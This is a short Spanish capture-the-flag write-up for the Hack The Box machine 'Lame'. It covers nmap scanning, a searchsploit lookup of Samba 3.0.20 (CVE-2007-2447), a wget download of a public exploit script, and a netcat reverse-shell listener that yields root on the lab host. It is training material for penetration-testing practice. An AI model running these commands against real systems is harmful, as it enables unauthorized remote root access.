HTB-Lame

April 01, 2022

Reconocimiento

nmap -sCV 10.10.10.3 --min-rate 5000 -Pn

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.9
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2022-04-01T06:53:09-04:00
|_clock-skew: mean: 2h06m00s, deviation: 2h49m43s, median: 5m59s

Al mirar el resultado del nmap, vemos que el puerto 139 tiene un smb abierto y probablemente sea la misma versión que el puerto 445 por lo tanto buscamos un exploit en la base de datos searchsploit.

└─$ searchsploit samba 3.0                          

 Exploit Title                                                                                     

Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)                   

Aunque ponga que usa Metasploit, podemos buscar por google el script para poder usarlo sin Metasploit como por ejemplo: CVE-2007-2447

Explotación

Nos descargamos el exploit:

wget https://raw.githubusercontent.com/amriunix/CVE-2007-2447/master/usermap_script.py

Para usarlo lo tiramos con python y tendremos que tener un netcat en escucha.

python usermap_script.py 10.10.10.3 139 10.10.14.9 443 #ejecución

nc -lvp 443 #netcat

Y el usuario que obtenemos en root.

root@lame:/# whoami
root
root@lame:/# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:50:56:b9:68:4b  
          inet addr:10.10.10.3  Bcast:10.10.10.255  Mask:255.255.255.0

Flag makis:

root@lame:/home/makis# ls
user.txt
root@lame:/home/makis#

Flag root:

root@lame:/root# ls
Desktop  reset_logs.sh  root.txt  vnc.log
root@lame:/root# 

themaxterone

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Explotación